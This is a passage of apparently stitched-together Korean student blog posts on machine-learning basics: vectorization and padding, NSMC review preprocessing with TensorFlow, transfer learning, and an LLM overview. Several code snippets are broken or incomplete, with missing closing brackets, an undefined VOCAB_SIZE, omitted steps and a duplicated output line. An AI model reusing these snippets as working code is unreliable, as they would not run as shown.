  • 역할: 주어진 텍스트 데이터의 단어(토큰)를 분석하고, 고유한 정수 인덱스로 매핑하여 최종적으로 텐서(Tensor) 형태로 변환합니다.

8. 벡터화(Vectorization)가 필요한 이유

• 컴퓨터는 텍스트를 이해하지 못함: 머신러닝 모델은 본질적으로 수학적 연산을 수행합니다. 따라서 '고양이', '사과'와 같은 자연어 텍스트나 이미지를 그대로 처리할 수 없고, 숫자 형태로 변환해야만 계산이 가능합니다.
• 벡터화의 역할: 텍스트나 이미지를 수치형 벡터 또는 행렬로 변환하여 모델이 학습하고 연산할 수 있도록 만들어주는 필수적인 과정입니다.

9. 패딩(Padding)의 역할

• 배경: 텍스트 데이터는 문장마다 단어의 개수(길이)가 모두 다릅니다. 하지만 딥러닝 모델은 입력 데이터의 길이가 동일해야 효율적으로 처리하고 배치(Batch) 단위로 묶을 수 있습니다.
• 패딩의 역할: 서로 다른 길이를 가진 데이터들을 가장 긴 데이터의 길이에 맞춰 부족한 부분에 특정 값(주로 0)을 채워 넣어 길이를 통일시키는 작업입니다. 이를 통해 데이터를 효율적으로 처리할 수 있는 정형화된 형태로 만듭니다.

10. 또 다른 대표적인 파이썬 라이브러리인 Matplotlib

• 개념: 파이썬에서 가장 널리 사용되는 데이터 시각화 라이브러리입니다.
• 역할: 데이터를 다양한 형식의 2D 그래프나 플롯 (꺾은선 그래프, 막대 그래프, 산점도, 히스토그램 등)으로 표현하여 데이터의 경향, 분포, 관계 등을 쉽게 파악할 수 있도록 돕습니다. 데이터 분석 결과를 보고하거나, 모델의 훈련 과정(손실, 정확도)을 시각적으로 모니터링할 때 필수적으로 사용됩니다.

AI 학습을 마치며: 배우고 느낀 점

이번에 머신러닝의 기본 개념들을 정리하면서 AI 공부의 재미와 어려움을 동시에 느꼈어요. 학생의 입장에서 핵심적인 느낀 점들을 정리해 봅니다.

1. 기본 라이브러리의 중요성: '집 짓는 도구'를 익히다 처음엔 Numpy, Pandas, TensorFlow 같은 라이브러리들이 그냥 어려운 이름의 도구로만 느껴졌습니다. 하지만 정리해보니 이들이 곧 AI 모델을 구축하고 데이터를 분석하는 '기초 공사 도구'라는 것을 깨달았습니다.

Numpy로 데이터의 기본 뼈대(다차원 배열)를 세우고,

Pandas로 데이터를 보기 좋게 다듬고(전처리),

TensorFlow로 복잡한 계산을 수행하는 셈입니다.

이 도구들에 익숙해지는 것이 AI 모델을 만드는 첫걸음이라는 것을 확실히 느꼈습니다.

2. Keras: '진입 장벽'을 낮춰준 설계자 TensorFlow가 복잡한 '엔진'이라면, Keras는 이 엔진을 쉽게 다룰 수 있게 해주는 '운전대와 계기판' 같다는 느낌을 받았습니다. 고수준 API 덕분에 신경망을 Sequential 모델로 층층이 쌓아 올리는 과정이 훨씬 직관적이고 빠르게 느껴졌습니다. Keras 덕분에 딥러닝이라는 거대한 분야에 대한 진입 장벽이 크게 낮아졌다고 생각합니다.

3. 가장 중요했던 개념: '일반화'와 과적합 (Overfitting) 이번 학습에서 가장 깊이 와닿고 중요하다고 느낀 개념은 훈련 데이터(Train)와 테스트 데이터(Test)의 구분, 그리고 이로 인해 발생하는 과적합(Overfitting) 문제였습니다.

모델을 만드는 목적은 훈련 데이터를 '암기'하는 것이 아니라, 새로운 데이터에 대해서도 잘 작동하는 '일반화 능력'을 갖추는 것임을 알게 되었습니다.

과적합은 모델이 훈련 데이터를 너무 잘 따라가서 오히려 독이 되는 현상이라는 것을 명확히 이해했습니다. 이는 단순히 코드를 잘 짜는 것 이상의 데이터 철학이 필요한 부분이라고 느꼈습니다.

4. 지도학습과 비지도 학습: AI의 두 가지 시선 지도학습이 '정답(Label)이 있는 문제집'을 푸는 것이라면, 비지도 학습은 '정답 없이 스스로 숨겨진 패턴을 찾는 것'이라는 차이점을 명확히 구분할 수 있게 되었습니다. 문제를 해결하고자 하는 목표에 따라 어떤 학습 방식을 선택해야 할지 기준이 잡혀서 좋았습니다.

5. 전처리의 중요성: 벡터화와 패딩 TextVectorization, 벡터화, 패딩 같은 전처리 개념을 정리하면서 'Garbage In, Garbage Out'이라는 말이 얼마나 중요한지 깨달았습니다.

벡터화는 컴퓨터가 텍스트를 연산할 수 있게 언어를 숫자 언어로 번역하는 과정이며,

패딩은 모델이 일괄적으로 데이터를 처리할 수 있도록 데이터의 형태를 통일하는 역할입니다.

아무리 좋은 모델을 사용해도, 데이터가 모델이 이해할 수 있는 형태로 잘 다듬어져 있지 않으면 의미가 없다는 사실을 느꼈습니다.

안녕하세요! 딥러닝 모델 학습의 핵심 단계 중 하나인 텍스트 데이터 전처리 과정을 상세히 살펴보는 시간을 갖겠습니다. 특히, TensorFlow 라이브러리를 활용하여 네이버 영화 리뷰 데이터를 준비하는 과정을 단계별로 분석해 보겠습니다.

1. 필수 라이브러리 임포트 및 환경 설정

가장 먼저, 실습을 위한 기본 환경을 준비합니다.

• TensorFlow는 딥러닝 모델을 구축하고 학습하는 데 사용됩니다.
• NumPy와 Pandas는 데이터 조작 및 배열 처리를 위해 사용되는 핵심 라이브러리입니다.

import tensorflow as tf
import numpy as np
import pandas as pd

print("TensorFlow version:", tf.__version__)

현재 사용 중인 TensorFlow 버전을 확인하는 것은 실습 환경의 안정성을 점검하는 첫 단계입니다.

2. NSMC 데이터셋 다운로드 및 텍스트 로드

딥러닝 모델 학습을 위한 데이터셋으로 네이버 영화 리뷰 감성 분석 (NSMC) 데이터를 사용합니다.

path_to_train_file = tf.keras.utils.get_file(
    'train.txt',
    '<https://raw.githubusercontent.com/e9t/nsmc/master/ratings_train.txt>'
)
path_to_test_file = tf.keras.utils.get_file(
    'test.txt',
    'https://raw.githubusercontent.com/e9t/nsmc/master/ratings_test.txt'

TensorFlow의 keras.utils.get_file 함수를 사용하여 GitHub에 저장된 데이터를 자동으로 다운로드합니다. 이 방식은 Colab과 같은 환경에서 데이터를 쉽게 불러올 수 있게 해줍니다.

다운로드한 파일은 바이너리 모드('rb')로 읽어온 뒤, 한국어가 깨지지 않도록 UTF-8 인코딩으로 디코딩하여 실제 텍스트로 변환합니다.

train_text = open(path_to_train_file, 'rb').read().decode(encoding='utf-8')
test_text = open(path_to_test_file, 'rb').read().decode(encoding='utf-8')

print('Length of train text: {} characters'.format(len(train_text)))
print('Length of test text: {} characters'.format(len(test_text)))
print(train_text[:300]) 
# ... (출력 결과)
Length of train text: 6937271 characters
Length of test text: 2318260 characters
id    document    label
9976970    아 더빙.. 진짜 짜증나네요 목소리    0
3819312    흠...포스터보고 초딩영화줄....오버연기조차 가볍지 않구나    1
10265843    너무재밓었다그래서보는것을추천한다    0
9045019    교도소 이야기구먼 ..솔직히 재미는 없다..평점 조정    0
6483659    사이몬페그의 익살스런 연기가 돋보였던 영화!스파이더맨에서 늙어보이기만 했던 커스틴 던스트가 너무나도 이뻐보였다    1
5403919    막 걸음마 뗀 3세부터 초등학교 1학년생인 8살용영화.ㅋㅋㅋ...별반개도 아까움.    0
7797314    원작의

텍스트 데이터를 확인해 보면, 각 행이 id, document(리뷰 문장), label(감성 라벨)의 탭(\t)으로 구분된 형태임을 알 수 있습니다.

3. 정답 라벨(Y) 및 리뷰 문장(X) 분리

로드된 전체 텍스트에서 모델의 **입력(X)**인 리뷰 문장과 **정답(Y)**인 감성 라벨을 분리합니다.

3.1. 정답 라벨(Y) 만들기

감성 라벨은 탭으로 구분된 세 번째 항목([2])에 위치하며, 0은 부정 리뷰, 1은 긍정 리뷰를 나타냅니다.

train_Y = np.array([
    [int(row.split('\t')[2])] # 세 번째 항목을 정수형으로 변환
    for row in train_text.split('\n')[1:]
    if row.count('\t') > 0
])
test_Y = np.array([
    [int(row.split('\t')[2])]
    for row in test_text.split('\n')[1:]
    if row.count('\t') > 0

print("train_Y shape:", train_Y.shape)
print("test_Y shape:", test_Y.shape)
print("train_Y sample:", train_Y[:5])
# (출력 결과)
train_Y shape: (150000, 1)
test_Y shape: (50000, 1)
train_Y sample: [[0]
train_Y sample: [[0], [1], [0], [0], [1]]

이렇게 분리된 train_Y와 test_Y는 모델이 예측할 최종 타깃(Target) 데이터가 됩니다.

3.2. 리뷰 문장(X) 분리 및 정제

모델의 입력 데이터인 리뷰 문장(document)은 탭으로 구분된 두 번째 항목([1])입니다. 이 문장들을 분리하고 정제하여 train_text_X로 만듭니다.

# (출력 예시)
[['아', '더빙', '진짜', '짜증나네요', '목소리'], ['흠', '포스터보고', '초딩영화줄', ...]]

분리된 문장들은 이후 TextVectorization 레이어의 입력으로 사용됩니다.

4. 텍스트 정수 인코딩 (TextVectorization)

딥러닝 모델은 텍스트를 직접 처리할 수 없으므로, 모든 문장을 고정된 길이의 숫자 시퀀스로 변환해야 합니다. 이를 위해 TensorFlow의 강력한 TextVectorization 레이어를 사용합니다.

vectorize_layer = tf.keras.layers.TextVectorization(
    standardize='lower_and_strip_punctuation', # 소문자 변환 + 구두점 제거
    split='whitespace',                        # 띄어쓰기 기준 토큰화
    max_tokens=VOCAB_SIZE,                     # 단어 사전 크기 제한
    output_mode='int',                         # 결과를 정수 인덱스로 변환
    output_sequence_length=MAX_LEN             # 자동 패딩/자르기
)

vectorize_layer.adapt(train_text_X) # 훈련 데이터로 단어 빈도 및 사전 학습
train_X = vectorize_layer(train_text_X)

adapt() 메서드를 통해 훈련 데이터의 단어 빈도를 학습하고, 이를 바탕으로 단어 사전을 구축합니다. vectorize_layer(train_text_X)를 실행하면, 각 문장의 단어가 정수 인덱스로 바뀌고, 길이가 25로 통일된 tf.Tensor가 생성됩니다. 짧은 문장은 0으로 채워집니다(패딩).

print(train_X[:5])
# (출력 결과)
tf.Tensor(
[[  23  902    5    1 1097    0    0    0    0    0    0    0    0    0
     0    0    0    0    0    0    0    0    0    0    0]
 [ 586    1    1    1    1    1    0    0    0    0    0    0    0    0
     0    0    0    0    0    0    0    0    0    0    0]
 [   1    0    0    0    0    0    0    0    0    0    0    0    0    0
     0    0    0    0    0    0    0    0    0    0    0]
 [   1    1   68  345   28   33    1    0    0    0    0    0    0    0
     0    0    0    0    0    0    0    0    0    0    0]
 [   1    1  102    1    2    1    1  844    1    1  570    1    0    0
     0    0    0    0    0    0    0    0    0    0    0]], shape=(5, 25), dtype=int64)

5. 문장 길이 분포 시각화 및 검증

MAX_LEN을 25로 설정한 것이 적절한지 검증하기 위해 문장 길이의 분포를 시각화합니다.

import matplotlib.pyplot as plt
# ... 길이 계산 및 정렬 코드 생략

plt.plot(sentence_len)
plt.show() # 

print(sum([int(l <= 25) for l in sentence_len]))

문장 길이를 오름차순으로 정렬하여 시각화한 결과, 그래프를 통해 대부분의 문장(거의 90% 이상)이 단어 25개 이하임을 명확히 확인할 수 있습니다. 이로써 MAX_LEN = 25 설정이 데이터의 손실을 최소화하면서도 효율적인 모델 학습을 가능하게 하는 합리적인 기준임을 검증할 수 있습니다.

이 모든 전처리 과정을 거쳐, 복잡한 텍스트 데이터는 딥러닝 모델이 곧바로 학습할 수 있는 깨끗하고 정형화된 숫자 배열 형태로 완벽하게 변환되었습니다!

"만약 데이터가 충분하지 않다면, 딥러닝을 포기해야 할까요?"

다행히도, 그렇지 않습니다. 바로 이때 전이학습(Transfer Learning)이라는 강력한 기술을 사용할 수 있습니다.

전이학습(Transfer Learning)이란 무엇인가요?

전이학습은 말 그대로 '지식을 전이하는' 학습 방법입니다.

이미 아주 거대한 데이터셋(예: 수백만 장의 이미지가 있는 ImageNet)으로 성공적으로 학습된 모델(이를 사전 학습 모델, Pre-trained Model이라고 부릅니다 )을 가져와, 우리의 새로운(하지만 데이터가 적은) 문제에 맞게 조정하여 사용하는 것을 의미합니다.

이 사전 학습 모델은 ImageNet의 1,000개 클래스를 분류하면서 이미지의 기본적인 특징(선, 질감, 패턴, 간단한 형태 등)을 파악하는 방법을 이미 알고 있습니다. 우리는 이 '지식'을 공짜로 얻어서 우리의 문제에 적용하는 것입니다. 이 다이어그램에서 볼 수 있듯이, 전이학습을 적용하는 대표적인 방법에는 두 가지가 있습니다.

방법 1: CNN을 특징 추출기(Feature Extractor)로 사용하기

이 방법은 우리가 가진 데이터셋이 매우 작을 때 유용합니다. 사전 학습 모델이 배운 지식을 그대로 '특징 추출기'로만 활용하는 것입니다.

과정은 다음과 같습니다.

1. ImageNet으로 사전 학습된 모델을 불러옵니다. (다이어그램의 왼쪽 모델)

2. 이 모델의 뒷부분(분류를 담당하는 Fully-Connected layer, 예: FC-1000)을 제거합니다.

3. 모델의 앞부분(특징을 추출하는 Convolutional base)은 '동결(Freeze)'시킵니다. 동결시킨다는 것은 이 부분의 가중치(Weight)가 학습 과정에서 더 이상 업데이트되지 않도록 고정한다는 의미입니다.

4. 제거한 분류기 자리에 우리의 새로운 분류기(예: 10개 클래스를 분류하는 FC-10)를 붙입니다.

5. 이제, 새로 붙인 분류기 부분만 우리의 데이터로 학습시킵니다.

방법 2: 파인튜닝(Fine-tuning, 미세 조정)

이 방법은 우리가 가진 데이터가 '조금 더' 많을 때 사용하며, 특징 추출 방법보다 더 좋은 성능을 기대할 수 있습니다. 파인튜닝은 사전 학습된 모델의 '지식'을 단순히 가져다 쓰는 것을 넘어, 우리의 새로운 데이터에 맞게 '미세 조정'하는 과정입니다.

1. ImageNet으로 사전 학습된 모델을 불러옵니다. (특징 추출 방식과 동일)

2. 마지막 분류기 부분을 우리의 새로운 분류기로 교체합니다. (이것도 동일)

3. 여기서 차이가 발생합니다. 모델의 컨볼루션 부분을 '동결(Freeze)'하는 대신, 학습을 허용합니다.

4. 새로운 분류기뿐만 아니라, 사전 학습된 컨볼루션 부분까지 모두 함께 새로운 작업(Task)을 위해 계속 학습시킵니다.

보통 모델의 앞부분(초기 레이어)은 동결하고 뒷부분(후기 레이어)만 학습시키는 등 다양한 변형이 있지만, 핵심은 "사전 학습된 모델의 가중치를 우리의 데이터로 조금 더 업데이트한다"는 것입니다.

이때 아주 작은 학습률(Learning Rate)을 사용하여, 기존에 잘 학습된 지식이 크게 망가지지 않고 새로운 데이터에 맞게 섬세하게 조정되도록 하는 것이 중요합니다.

요약 및 결론

전이학습은 데이터가 부족한 현실적인 문제를 해결하는 매우 효과적인 딥러닝 기법입니다.

• 데이터가 매우 적다면: 사전 학습 모델을 '특징 추출기'로 사용하세요 (레이어 동결).
• 데이터가 어느 정도 있다면: '파인튜닝'을 통해 모델의 지식까지 우리 문제에 맞게 미세 조정하세요 (레이어 학습 허용).
  이러한 기법 덕분에 우리는 거대한 데이터와 컴퓨팅 자원 없이도 높은 성능의 딥러닝 모델을 만들 수 있습니다.
  실제로 Pytorch나 Tensorflow 같은 프레임워크들은 전이학습을 위한 튜토리얼을 매우 잘 제공하고 있으니, 여러분의 문제에 지금 바로 적용해 보세요!

오늘은 바로 그 혁신의 중심에 있는 LLM(거대 언어 모델, Large Language Model)에 대해 학생의 시각으로 쉽고 깊게 파헤쳐 보려고 합니다.

그래서 LLM이 정확히 뭔데?

LLM (Large Language Model): 방대한 양의 텍스트 데이터로 훈련된, 거대한 딥러닝 모델. 인간의 언어를 이해하고, 생성하며, 요약, 번역 등 다양한 자연어 처리(NLP) 작업을 수행하는 인공지능.

이름 그대로입니다. '엄청나게(Large) 큰' 모델이죠. 여기서 '크다'는 건 두 가지 의미를 가집니다. 1. 어마어마한 파라미터(매개변수) 수:
모델의 복잡성과 능력을 결정하는 요소로, 수천억 개에 조 단위를 넘어가는 파라미터를 가집니다.

2. 방대한 학습 데이터: 인터넷의 거의 모든 텍스트(위키피디아, GitHub, 뉴스, 책 등)를 긁어모아 학습시켰다고 봐도 무방합니다.

우리가 자주 사용하는 ChatGPT(정확히는 그 기반 모델인 GPT=4같은)가 바로 이 LLM의 대표적인 예시입니다.

LLM의 작동 원리: 모든건 '다음에 올 단어 맞히기'에서 시작된다

LLM의 핵심 아이디어는 생각보다 단순합니다. 바로 다음에 올 단어를 예측(Next Token Prediction)하는 것이죠.

"스파게티를 만들기 위해 먼저 끓는 물에 ____을 넣는다."

빈칸에 '소금'이나 '면'이 들어갈 확률이 '사과'보다 높다는 걸 어떻게 알까요? LLM은 수많은 텍스트를 학습하며 단어와 단어 사이의 통계적 패턴, 즉 문맥(Context)*을 익힙니다.

이 마법 같은 일의 중심에는 '트랜스포머(Transformer)' 아키텍처가 있습니다. 특히 어텐션 메커니즘(Attention Mechanism)은 문장 속에서 어떤 단어가 다른 단어와 더 중요한 관계를 맺고 있는지 파악하여 문맥을 정확하게 이해하는 핵심적인 역할을 합니다.

"The animal didn't cross the street because it* was too tired."

여기서 'it'이 'animal'을 가리키는지 'street'을 가리키는지 정확히 짚어내는 능력이 바로 어텐션의 힘이죠.

개발자에게 LLM이 왜 중요할까?

이제 우리에게 가장 중요한 부분입니다. LLM은 더 이상 먼 미래의 기술이 아닙니다. 이미 우리 개발 생태계에 깊숙이 들어와 있죠.

• 🤖 GitHub Copilot: 코드를 작성할 때 다음 줄을 예측해서 추천해주거나, 주석만으로 함수 전체를 완성해줍니다. 생산성이 말도 안 되게 올라가죠.

• 💡 코드 디버깅 및 리팩토링: 복잡한 코드 블록을 던져주고 "이 코드 설명해줘" 또는 "더 효율적으로 리팩토링해줘"라고 요청할 수 있습니다.

• 📄 API 및 라이브러리 문서 검색: "Python으로 웹 스크래핑하는 코드 알려줘"처럼, 더 이상 구글링에만 의존하지 않아도 됩니다.

• ✍️ 커밋 메시지, 기술 문서 자동 생성: 귀찮은 문서 작업 시간을 획기적으로 줄여줍니다.

이처럼 LLM은 개발자의 생산성을 극대화하는 강력한 '페어 프로그래머'가 되어주고 있습니다.

LLM의 한계와 미래

물론 LLM이 만능은 아닙니다.

⚠️ 주의:

• 환각 ( Hallucination): 없는 사실을 진짜처럼 지어내느 현상. API 문서를 물어봤는데 존재하지 않는 함수를 알려줄 수도 있습니다. 항상 검증은 필수입니다!
• 편향성 (Bias): 학습 데이터에 존재하는 편견을 그대로 학습할 수 있습니다.
• 최신성 부족: 특정 시점까지의 데이터로 학습했기 때문에 최신 프레임워크나 라이브러리 버전에 대한 정보는 없을 수 있습니다.

하지만 이런 한계점에도 불구하고 LLM 기술은 무서운 속도로 발전하고 있습니다. 앞으로는 더 작고, 특정 작업에 특화된 sLLM(소형 언어 모델) 이 온디바이스 AI 형태로 우리 곁에 다가올 것이고, 개발 환경에 더욱 깊숙이 통합될 것입니다.

마치며

LLM은 이제 선택이 아닌 필수 교양이 되어가고 있습니다. 단순히 '챗봇'을 넘어, 우리의 개발 워크플로우를 근본적으로 바꾸는 게임 체인저가 될 잠재력을 가지고 있죠.

오늘부터라도 LLM 기반 서비스들을 적극적으로 활용해보며 '어떻게 하면 내 개발 과정에 더 잘 녹여낼 수 있을까?' 고민해보는 것은 어떨까요?

LLM에 대해 더 궁금한 점이나 의견이 있다면 언제든지 댓글로 공유해주세요!